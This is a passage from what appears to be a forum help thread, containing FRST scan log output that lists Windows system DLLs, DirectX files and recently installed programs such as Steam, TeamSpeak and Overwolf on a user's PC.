2017-05-30 22:03 - 2007-03-15 16:57 - 00443752 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_33.dll
2017-05-30 22:03 - 2007-03-12 16:42 - 04494184 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_33.dll
2017-05-30 22:03 - 2007-03-12 16:42 - 03495784 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_33.dll
2017-05-30 22:03 - 2007-03-12 16:42 - 01400176 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_33.dll
2017-05-30 22:03 - 2007-03-12 16:42 - 01123696 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_33.dll
2017-05-30 22:03 - 2007-03-05 12:42 - 00017688 _____ (Microsoft Corporation) C:\windows\system32\x3daudio1_1.dll
2017-05-30 22:03 - 2007-03-05 12:42 - 00015128 _____ (Microsoft Corporation) C:\windows\SysWOW64\x3daudio1_1.dll
2017-05-30 22:03 - 2007-01-24 15:27 - 00393576 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_6.dll
2017-05-30 22:03 - 2007-01-24 15:27 - 00255848 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_6.dll
2017-05-30 22:03 - 2006-12-08 12:02 - 00251672 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_5.dll
2017-05-30 22:03 - 2006-12-08 12:00 - 00390424 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_5.dll
2017-05-30 22:03 - 2006-11-29 13:06 - 04398360 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_32.dll
2017-05-30 22:03 - 2006-11-29 13:06 - 03426072 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_32.dll
2017-05-30 22:03 - 2006-11-29 13:06 - 00469264 _____ (Microsoft Corporation) C:\windows\system32\d3dx10.dll
2017-05-30 22:03 - 2006-11-29 13:06 - 00440080 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10.dll
2017-05-30 22:03 - 2006-09-28 16:05 - 03977496 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_31.dll
2017-05-30 22:03 - 2006-09-28 16:05 - 02414360 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_31.dll
2017-05-30 22:03 - 2006-09-28 16:05 - 00237848 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_4.dll
2017-05-30 22:03 - 2006-09-28 16:04 - 00364824 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_4.dll
2017-05-30 22:03 - 2006-07-28 09:31 - 00083736 _____ (Microsoft Corporation) C:\windows\system32\xinput1_2.dll
2017-05-30 22:03 - 2006-07-28 09:30 - 00363288 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_3.dll
2017-05-30 22:03 - 2006-07-28 09:30 - 00236824 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_3.dll
2017-05-30 22:03 - 2006-07-28 09:30 - 00062744 _____ (Microsoft Corporation) C:\windows\SysWOW64\xinput1_2.dll
2017-05-30 22:03 - 2006-05-31 07:24 - 00230168 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_2.dll
2017-05-30 22:03 - 2006-05-31 07:22 - 00354072 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_2.dll
2017-05-30 22:03 - 2006-03-31 12:41 - 03927248 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_30.dll
2017-05-30 22:03 - 2006-03-31 12:40 - 02388176 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_30.dll
2017-05-30 22:03 - 2006-03-31 12:40 - 00352464 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_1.dll
2017-05-30 22:03 - 2006-03-31 12:39 - 00229584 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_1.dll
2017-05-30 22:03 - 2006-03-31 12:39 - 00083664 _____ (Microsoft Corporation) C:\windows\system32\xinput1_1.dll
2017-05-30 22:03 - 2006-03-31 12:39 - 00062672 _____ (Microsoft Corporation) C:\windows\SysWOW64\xinput1_1.dll
2017-05-30 22:03 - 2006-02-03 08:43 - 03830992 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_29.dll
2017-05-30 22:03 - 2006-02-03 08:43 - 02332368 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_29.dll
2017-05-30 22:03 - 2006-02-03 08:42 - 00355536 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_0.dll
2017-05-30 22:03 - 2006-02-03 08:42 - 00230096 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_0.dll
2017-05-30 22:03 - 2006-02-03 08:41 - 00016592 _____ (Microsoft Corporation) C:\windows\system32\x3daudio1_0.dll
2017-05-30 22:03 - 2006-02-03 08:41 - 00014032 _____ (Microsoft Corporation) C:\windows\SysWOW64\x3daudio1_0.dll
2017-05-30 22:03 - 2005-12-05 18:09 - 03815120 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_28.dll
2017-05-30 22:03 - 2005-12-05 18:09 - 02323664 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_28.dll
2017-05-30 22:03 - 2005-07-22 19:59 - 03807440 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_27.dll
2017-05-30 22:03 - 2005-07-22 19:59 - 02319568 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_27.dll
2017-05-30 22:03 - 2005-05-26 15:34 - 03767504 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_26.dll
2017-05-30 22:03 - 2005-05-26 15:34 - 02297552 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_26.dll
2017-05-30 22:03 - 2005-03-18 17:19 - 03823312 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_25.dll
2017-05-30 22:03 - 2005-02-05 19:45 - 03544272 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_24.dll
2017-05-30 22:03 - 2005-02-05 19:45 - 02222800 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_24.dll
2017-05-30 22:02 - 2017-06-04 19:34 - 00000000 ____D C:\Users\****\Documents\My Games
2017-05-30 21:29 - 2017-05-30 21:29 - 00000202 _____ C:\Users\****\Desktop\Rocket League.url
2017-05-30 21:28 - 2017-05-30 21:28 - 00000201 _____ C:\Users\****\Desktop\Mount & Blade Warband.url
2017-05-30 21:23 - 2017-05-30 21:23 - 00000554 _____ C:\Users\Public\Desktop\Steam.lnk
2017-05-30 21:23 - 2017-05-30 21:23 - 00000000 ____D C:\Users\****\AppData\Roaming\NVIDIA
2017-05-30 21:14 - 2015-09-24 20:45 - 05017446 _____ C:\Users\****\Desktop\Tracers.zip
2017-05-30 21:14 - 2014-07-07 19:02 - 04001792 _____ C:\Users\****\Desktop\Uniformen+Banner(Finalversion).rar
2017-05-30 20:57 - 2017-05-30 20:57 - 00000000 ____D C:\Users\****\AppData\Local\Steam
2017-05-30 20:57 - 2017-05-30 20:57 - 00000000 ____D C:\Users\****\AppData\Local\CEF
2017-05-30 20:55 - 2017-05-30 20:55 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Steam
2017-05-30 20:53 - 2017-05-30 20:53 - 01446792 _____ C:\Users\****\Downloads\SteamSetup.exe
2017-05-30 20:52 - 2017-05-30 20:52 - 00000000 ____H C:\windows\system32\Drivers\Msft_User_WpdFs_01_11_00.Wdf
2017-05-30 20:45 - 2017-05-31 13:53 - 00000000 ____D C:\ProgramData\Overwolf
2017-05-30 20:45 - 2017-05-30 20:45 - 00004382 _____ C:\windows\System32\Tasks\Overwolf Updater Task
2017-05-30 20:45 - 2017-05-30 20:45 - 00001156 _____ C:\Users\Public\Desktop\Overwolf.lnk
2017-05-30 20:45 - 2017-05-30 20:45 - 00000000 ____D C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Overwolf
2017-05-30 20:45 - 2017-05-30 20:45 - 00000000 ____D C:\Users\****\.TeamSpeak 3
2017-05-30 20:45 - 2017-05-30 20:45 - 00000000 ____D C:\Users\****\.QtWebEngineProcess
2017-05-30 20:45 - 2017-05-30 20:45 - 00000000 ____D C:\Program Files (x86)\Overwolf
2017-05-30 20:44 - 2017-06-08 14:24 - 00000000 ____D C:\Users\****\AppData\Roaming\TS3Client
2017-05-30 20:44 - 2017-06-08 14:24 - 00000000 ____D C:\Users\****\AppData\Local\Overwolf
2017-05-30 20:44 - 2017-05-30 20:44 - 00001014 _____ C:\Users\Public\Desktop\TeamSpeak 3 Client.lnk
2017-05-30 20:44 - 2017-05-30 20:44 - 00000976 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamSpeak 3 Client.lnk
2017-05-30 20:44 - 2017-05-30 20:44 - 00000000 ____D C:\Program Files\TeamSpeak 3 Client
2017-05-30 20:42 - 2017-05-30 20:43 - 77604984 _____ (TeamSpeak Systems GmbH) C:\Users\****\Downloads\TeamSpeak3-Client-win64-3.1.4.exe
2017-05-30 20:42 - 2017-05-30 20:42 - 00001054 _____ C:\Users\Public\Desktop\WinRAR.lnk
2017-05-30 20:42 - 2017-05-30 20:42 - 00000000 ____D C:\Users\****\AppData\Roaming\WinRAR
2017-05-30 20:42 - 2017-05-30 20:42 - 00000000 ____D C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR
2017-05-30 20:42 - 2017-05-30 20:42 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\WinRAR
2017-05-30 20:42 - 2017-05-30 20:42 - 00000000 ____D C:\Program Files\WinRAR
2017-05-30 20:41 - 2017-05-30 20:41 - 02309992 _____ C:\Users\****\Downloads\winrar-x64-540d.exe

Twix. 08.06.2017 13:37
FRST2:
Code:
2017-05-30 11:06 - 2017-05-20 11:13 - 01333136 _____ (Microsoft Corporation) C:\windows\SysWOW64\msctf.dll
2017-05-30 11:06 - 2017-05-20 11:13 - 00626528 _____ (Microsoft Corporation) C:\windows\SysWOW64\fontdrvhost.exe
2017-05-30 11:06 - 2017-05-20 10:55 - 00606960 _____ (Microsoft Corporation) C:\windows\SysWOW64\oleaut32.dll
2017-05-30 11:06 - 2017-05-20 10:53 - 02259760 _____ (Microsoft Corporation) C:\windows\SysWOW64\CoreUIComponents.dll
2017-05-30 11:06 - 2017-05-20 10:48 - 04469832 _____ (Microsoft Corporation) C:\windows\SysWOW64\explorer.exe
2017-05-30 11:06 - 2017-05-20 10:47 - 01474800 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.ApplicationModel.Store.dll
2017-05-30 11:06 - 2017-05-20 10:46 - 05821496 _____ (Microsoft Corporation) C:\windows\SysWOW64\windows.storage.dll
2017-05-30 11:06 - 2017-05-20 10:46 - 01266544 _____ (Microsoft Corporation) C:\windows\SysWOW64\twinapi.appcore.dll
2017-05-30 11:06 - 2017-05-20 10:46 - 00754080 _____ (Microsoft Corporation) C:\windows\SysWOW64\LicenseManager.dll
2017-05-30 11:06 - 2017-05-20 10:45 - 00349600 _____ (Microsoft Corporation) C:\windows\SysWOW64\msv1_0.dll
2017-05-30 11:06 - 2017-05-20 10:44 - 00519680 _____ (Microsoft Corporation) C:\windows\SysWOW64\AppXDeploymentClient.dll
2017-05-30 11:06 - 2017-05-20 10:44 - 00181664 _____ (Microsoft Corporation) C:\windows\SysWOW64\AppxAllUserStore.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 06760024 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.Protection.PlayReady.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 05802968 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 04672848 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfcore.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 02424016 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfmp4srcsnk.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 01529384 _____ (Microsoft Corporation) C:\windows\SysWOW64\winmde.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 01455592 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfplat.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 01120864 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfsvr.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 00354400 _____ (Microsoft Corporation) C:\windows\SysWOW64\MMDevAPI.dll
2017-05-30 11:06 - 2017-05-20 10:42 - 20373920 _____ (Microsoft Corporation) C:\windows\SysWOW64\shell32.dll
2017-05-30 11:06 - 2017-05-20 10:40 - 00583160 _____ (Microsoft Corporation) C:\windows\SysWOW64\CoreMessaging.dll
2017-05-30 11:06 - 2017-05-20 10:29 - 13840384 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.Xaml.dll
2017-05-30 11:06 - 2017-05-20 10:29 - 00584192 _____ (Microsoft Corporation) C:\windows\SysWOW64\UIRibbonRes.dll
2017-05-30 11:06 - 2017-05-20 10:27 - 02199552 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.Xaml.Resources.dll
2017-05-30 11:06 - 2017-05-20 10:27 - 00141824 _____ (Microsoft Corporation) C:\windows\SysWOW64\smartscreenps.dll
2017-05-30 11:06 - 2017-05-20 10:26 - 00059904 _____ C:\windows\SysWOW64\xboxgipsynthetic.dll
2017-05-30 11:06 - 2017-05-20 10:26 - 00025088 _____ (Microsoft Corporation) C:\windows\SysWOW64\odbcconf.dll
2017-05-30 11:06 - 2017-05-20 10:25 - 20505088 _____ (Microsoft Corporation) C:\windows\SysWOW64\edgehtml.dll
2017-05-30 11:06 - 2017-05-20 10:25 - 00826368 _____ (Microsoft Corporation) C:\windows\SysWOW64\NPSMDesktopProvider.dll
2017-05-30 11:06 - 2017-05-20 10:25 - 00174080 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Web.Diagnostics.dll
2017-05-30 11:06 - 2017-05-20 10:24 - 00362496 _____ (Microsoft Corporation) C:\windows\SysWOW64\daxexec.dll
2017-05-30 11:06 - 2017-05-20 10:23 - 06728192 _____ (Microsoft Corporation) C:\windows\SysWOW64\twinui.dll
2017-05-30 11:06 - 2017-05-20 10:22 - 19334656 _____ (Microsoft Corporation) C:\windows\SysWOW64\mshtml.dll
2017-05-30 11:06 - 2017-05-20 10:22 - 01292288 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSVPXENC.dll
2017-05-30 11:06 - 2017-05-20 10:22 - 00754176 _____ (Microsoft Corporation) C:\windows\SysWOW64\MessagingDataModel2.dll
2017-05-30 11:06 - 2017-05-20 10:22 - 00394240 _____ (Microsoft Corporation) C:\windows\SysWOW64\DictationManager.dll
2017-05-30 11:06 - 2017-05-20 10:21 - 01984000 _____ (Microsoft Corporation) C:\windows\SysWOW64\DeviceFlows.DataModel.dll
2017-05-30 11:06 - 2017-05-20 10:21 - 00476672 _____ (Microsoft Corporation) C:\windows\SysWOW64\OneDriveSettingSyncProvider.dll
2017-05-30 11:06 - 2017-05-20 10:21 - 00444928 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.System.Launcher.dll
2017-05-30 11:06 - 2017-05-20 10:20 - 00807424 _____ (Microsoft Corporation) C:\windows\SysWOW64\StoreAgent.dll
2017-05-30 11:06 - 2017-05-20 10:20 - 00507392 _____ (Microsoft Corporation) C:\windows\SysWOW64\vbscript.dll
2017-05-30 11:06 - 2017-05-20 10:20 - 00368128 _____ (Microsoft Corporation) C:\windows\SysWOW64\InstallAgentUserBroker.exe
2017-05-30 11:06 - 2017-05-20 10:20 - 00354304 _____ (Microsoft Corporation) C:\windows\SysWOW64\ActivationManager.dll
2017-05-30 11:06 - 2017-05-20 10:19 - 05719040 _____ (Microsoft Corporation) C:\windows\SysWOW64\BingMaps.dll
2017-05-30 11:06 - 2017-05-20 10:19 - 00636416 _____ (Microsoft Corporation) C:\windows\SysWOW64\WpcWebFilter.dll
2017-05-30 11:06 - 2017-05-20 10:18 - 06292992 _____ (Microsoft Corporation) C:\windows\SysWOW64\Chakra.dll
2017-05-30 11:06 - 2017-05-20 10:18 - 01450496 _____ (Microsoft Corporation) C:\windows\SysWOW64\UIAutomationCore.dll
2017-05-30 11:06 - 2017-05-20 10:18 - 01248768 _____ (Microsoft Corporation) C:\windows\SysWOW64\AzureSettingSyncProvider.dll
2017-05-30 11:06 - 2017-05-20 10:17 - 11870720 _____ (Microsoft Corporation) C:\windows\SysWOW64\ieframe.dll
2017-05-30 11:06 - 2017-05-20 10:17 - 00952832 _____ (Microsoft Corporation) C:\windows\SysWOW64\comdlg32.dll
2017-05-30 11:06 - 2017-05-20 10:17 - 00909312 _____ (Microsoft Corporation) C:\windows\SysWOW64\SettingSyncCore.dll
2017-05-30 11:06 - 2017-05-20 10:17 - 00329728 _____ (Microsoft Corporation) C:\windows\SysWOW64\InstallAgent.exe
2017-05-30 11:06 - 2017-05-20 10:17 - 00050176 _____ (Microsoft Corporation) C:\windows\SysWOW64\cldapi.dll
2017-05-30 11:06 - 2017-05-20 10:16 - 05225984 _____ (Microsoft Corporation) C:\windows\SysWOW64\d2d1.dll
2017-05-30 11:06 - 2017-05-20 10:16 - 03667456 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_47.dll
2017-05-30 11:06 - 2017-05-20 10:16 - 02588160 _____ (Microsoft Corporation) C:\windows\SysWOW64\MapRouter.dll
2017-05-30 11:06 - 2017-05-20 10:16 - 02298368 _____ (Microsoft Corporation) C:\windows\SysWOW64\dwmcore.dll
2017-05-30 11:06 - 2017-05-20 10:16 - 00899584 _____ (Microsoft Corporation) C:\windows\SysWOW64\twinui.appcore.dll
2017-05-30 11:06 - 2017-05-20 10:15 - 02088960 _____ (Microsoft Corporation) C:\windows\SysWOW64\MapGeocoder.dll
2017-05-30 11:06 - 2017-05-20 10:15 - 01019904 _____ (Microsoft Corporation) C:\windows\SysWOW64\aadtb.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 04559360 _____ (Microsoft Corporation) C:\windows\SysWOW64\dbgeng.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 04417024 _____ (Microsoft Corporation) C:\windows\SysWOW64\ExplorerFrame.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 04056576 _____ (Microsoft Corporation) C:\windows\SysWOW64\MFMediaEngine.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 02679296 _____ (Microsoft Corporation) C:\windows\SysWOW64\SRH.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 02211328 _____ (Microsoft Corporation) C:\windows\SysWOW64\InputService.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 01035264 _____ (Microsoft Corporation) C:\windows\SysWOW64\ShareHost.dll
2017-05-30 11:06 - 2017-05-20 10:11 - 01536512 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.Immersive.dll
2017-05-30 11:06 - 2017-05-20 10:10 - 00332800 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.Midi.dll
2017-05-30 11:06 - 2017-05-20 10:10 - 00128000 _____ (Microsoft Corporation) C:\windows\SysWOW64\NPSM.dll
2017-05-30 11:06 - 2017-05-20 10:10 - 00089088 _____ (Microsoft Corporation) C:\windows\SysWOW64\olepro32.dll
2017-05-30 11:06 - 2017-05-20 10:08 - 00174080 _____ (Microsoft Corporation) C:\windows\SysWOW64\RstrtMgr.dll
2017-05-30 11:06 - 2017-05-20 09:08 - 01459728 _____ (Microsoft Corporation) C:\windows\system32\msctf.dll
2017-05-30 11:06 - 2017-05-20 09:08 - 01147296 _____ (Microsoft Corporation) C:\windows\system32\hvix64.exe
2017-05-30 11:06 - 2017-05-20 09:08 - 01024928 _____ (Microsoft Corporation) C:\windows\system32\hvax64.exe
2017-05-30 11:06 - 2017-05-20 09:08 - 00750560 _____ (Microsoft Corporation) C:\windows\system32\fontdrvhost.exe
2017-05-30 11:06 - 2017-05-20 09:08 - 00543648 _____ (Microsoft Corporation) C:\windows\system32\securekernel.exe
2017-05-30 11:06 - 2017-05-20 09:07 - 00287648 _____ (Microsoft Corporation) C:\windows\system32\Drivers\sdbus.sys
2017-05-30 11:06 - 2017-05-20 09:03 - 08320928 _____ (Microsoft Corporation) C:\windows\system32\ntoskrnl.exe
2017-05-30 11:06 - 2017-05-20 09:03 - 00777400 _____ (Microsoft Corporation) C:\windows\system32\oleaut32.dll
2017-05-30 11:06 - 2017-05-20 09:02 - 02969880 _____ (Microsoft Corporation) C:\windows\system32\CoreUIComponents.dll
2017-05-30 11:06 - 2017-05-20 09:01 - 00923040 _____ (Microsoft Corporation) C:\windows\system32\CoreMessaging.dll
2017-05-30 11:06 - 2017-05-20 08:59 - 00112544 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dam.sys
2017-05-30 11:06 - 2017-05-20 08:58 - 00188824 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dumpsd.sys
2017-05-30 11:06 - 2017-05-20 08:56 - 04847928 _____ (Microsoft Corporation) C:\windows\explorer.exe
2017-05-30 11:06 - 2017-05-20 08:56 - 02444192 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dxgkrnl.sys
2017-05-30 11:06 - 2017-05-20 08:56 - 00712608 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dxgmms2.sys
2017-05-30 11:06 - 2017-05-20 08:56 - 00370928 _____ (Microsoft Corporation) C:\windows\system32\SystemSettingsAdminFlows.exe
2017-05-30 11:06 - 2017-05-20 08:55 - 07325584 _____ (Microsoft Corporation) C:\windows\system32\windows.storage.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 05477088 _____ (Microsoft Corporation) C:\windows\system32\OneCoreUAPCommonProxyStub.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 01911752 _____ (Microsoft Corporation) C:\windows\system32\Windows.ApplicationModel.Store.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 01506712 _____ (Microsoft Corporation) C:\windows\system32\twinapi.appcore.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 01055648 _____ (Microsoft Corporation) C:\windows\system32\LicenseManager.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 00961952 _____ (Microsoft Corporation) C:\windows\system32\efscore.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 00211872 _____ (Microsoft Corporation) C:\windows\system32\browserbroker.dll
2017-05-30 11:06 - 2017-05-20 08:54 - 00872472 _____ (Microsoft Corporation) C:\windows\system32\ClipSVC.dll
2017-05-30 11:06 - 2017-05-20 08:54 - 00730016 _____ (Microsoft Corporation) C:\windows\system32\Drivers\vhdmp.sys
2017-05-30 11:06 - 2017-05-20 08:54 - 00546208 _____ (Microsoft Corporation) C:\windows\system32\Drivers\storport.sys
2017-05-30 11:06 - 2017-05-20 08:54 - 00144288 _____ (Microsoft Corporation) C:\windows\system32\Drivers\storahci.sys
2017-05-30 11:06 - 2017-05-20 08:53 - 00654976 _____ (Microsoft Corporation) C:\windows\system32\AppXDeploymentClient.dll
2017-05-30 11:06 - 2017-05-20 08:53 - 00411040 _____ (Microsoft Corporation) C:\windows\system32\msv1_0.dll
2017-05-30 11:06 - 2017-05-20 08:53 - 00363424 _____ (Microsoft Corporation) C:\windows\system32\Drivers\fastfat.sys
2017-05-30 11:06 - 2017-05-20 08:53 - 00335808 _____ (Microsoft Corporation) C:\windows\system32\SecurityHealthService.exe
2017-05-30 11:06 - 2017-05-20 08:53 - 00255904 _____ (Microsoft Corporation) C:\windows\system32\AppxAllUserStore.dll
2017-05-30 11:06 - 2017-05-20 08:52 - 07904784 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.Protection.PlayReady.dll
2017-05-30 11:06 - 2017-05-20 08:52 - 04709528 _____ (Microsoft Corporation) C:\windows\system32\mfcore.dll
2017-05-30 11:06 - 2017-05-20 08:52 - 01700408 _____ (Microsoft Corporation) C:\windows\system32\mfplat.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 21352176 _____ (Microsoft Corporation) C:\windows\system32\shell32.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 06551856 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 02604256 _____ (Microsoft Corporation) C:\windows\system32\mfmp4srcsnk.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 01670496 _____ (Microsoft Corporation) C:\windows\system32\winmde.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 01219560 _____ (Microsoft Corporation) C:\windows\system32\mfsvr.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 00406064 _____ (Microsoft Corporation) C:\windows\system32\MMDevAPI.dll
2017-05-30 11:06 - 2017-05-20 08:48 - 00387928 _____ (Microsoft Corporation) C:\windows\system32\wmpps.dll
2017-05-30 11:06 - 2017-05-20 08:22 - 23677440 _____ (Microsoft Corporation) C:\windows\system32\edgehtml.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00809472 _____ (Microsoft Corporation) C:\windows\system32\SecurityHealthSSO.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00584192 _____ (Microsoft Corporation) C:\windows\system32\UIRibbonRes.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00361472 _____ (Microsoft Corporation) C:\windows\system32\ConhostV2.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00099328 _____ (Microsoft Corporation) C:\windows\system32\utcutil.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00088576 _____ (Microsoft Corporation) C:\windows\system32\winsrvext.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00027136 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ksthunk.sys
2017-05-30 11:06 - 2017-05-20 08:09 - 17365504 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Xaml.dll
2017-05-30 11:06 - 2017-05-20 08:09 - 02199552 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Xaml.Resources.dll
2017-05-30 11:06 - 2017-05-20 08:09 - 00209408 _____ (Microsoft Corporation) C:\windows\system32\smartscreenps.dll
2017-05-30 11:06 - 2017-05-20 08:08 - 00128512 _____ (Microsoft Corporation) C:\windows\system32\mssprxy.dll
2017-05-30 11:06 - 2017-05-20 08:08 - 00086016 _____ C:\windows\system32\xboxgipsynthetic.dll
2017-05-30 11:06 - 2017-05-20 08:08 - 00029696 _____ (Microsoft Corporation) C:\windows\system32\odbcconf.dll
2017-05-30 11:06 - 2017-05-20 08:08 - 00013312 _____ (Microsoft Corporation) C:\windows\system32\Drivers\rootmdm.sys
2017-05-30 11:06 - 2017-05-20 08:07 - 00277504 _____ (Microsoft Corporation) C:\windows\system32\Drivers\xboxgip.sys
2017-05-30 11:06 - 2017-05-20 08:07 - 00133120 _____ (Microsoft Corporation) C:\windows\system32\XblGameSaveExt.dll
2017-05-30 11:06 - 2017-05-20 08:07 - 00015872 _____ (Microsoft Corporation) C:\windows\system32\snmptrap.exe
2017-05-30 11:06 - 2017-05-20 08:06 - 00866816 _____ (Microsoft Corporation) C:\windows\system32\NPSMDesktopProvider.dll
2017-05-30 11:06 - 2017-05-20 08:06 - 00232448 _____ (Microsoft Corporation) C:\windows\system32\Windows.Web.Diagnostics.dll
2017-05-30 11:06 - 2017-05-20 08:06 - 00192512 _____ (Microsoft Corporation) C:\windows\system32\Windows.SharedPC.AccountManager.dll
2017-05-30 11:06 - 2017-05-20 08:05 - 07931392 _____ (Microsoft Corporation) C:\windows\system32\twinui.dll
2017-05-30 11:06 - 2017-05-20 08:05 - 00518144 _____ (Microsoft Corporation) C:\windows\system32\daxexec.dll
2017-05-30 11:06 - 2017-05-20 08:05 - 00064512 _____ (Microsoft Corporation) C:\windows\system32\winsrv.dll
2017-05-30 11:06 - 2017-05-20 08:04 - 00778240 _____ C:\windows\system32\MBR2GPT.EXE
2017-05-30 11:06 - 2017-05-20 08:03 - 23681024 _____ (Microsoft Corporation) C:\windows\system32\mshtml.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 08331264 _____ (Microsoft Corporation) C:\windows\system32\BingMaps.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00892416 _____ (Microsoft Corporation) C:\windows\system32\MessagingDataModel2.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00549888 _____ (Microsoft Corporation) C:\windows\system32\DictationManager.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00527360 _____ (Microsoft Corporation) C:\windows\system32\aadcloudap.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00491520 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_Display.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00427008 _____ (Microsoft Corporation) C:\windows\system32\provengine.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00197120 _____ (Microsoft Corporation) C:\windows\system32\bcdboot.exe
2017-05-30 11:06 - 2017-05-20 08:02 - 00616960 _____ (Microsoft Corporation) C:\windows\system32\WindowManagement.dll
2017-05-30 11:06 - 2017-05-20 08:02 - 00601088 _____ (Microsoft Corporation) C:\windows\system32\Windows.System.Launcher.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 02347520 _____ (Microsoft Corporation) C:\windows\system32\DeviceFlows.DataModel.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 01878016 _____ (Microsoft Corporation) C:\windows\system32\AzureSettingSyncProvider.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00970240 _____ (Microsoft Corporation) C:\windows\system32\cdpsvc.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00590848 _____ (Microsoft Corporation) C:\windows\system32\vbscript.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00586240 _____ (Microsoft Corporation) C:\windows\system32\OneDriveSettingSyncProvider.dll
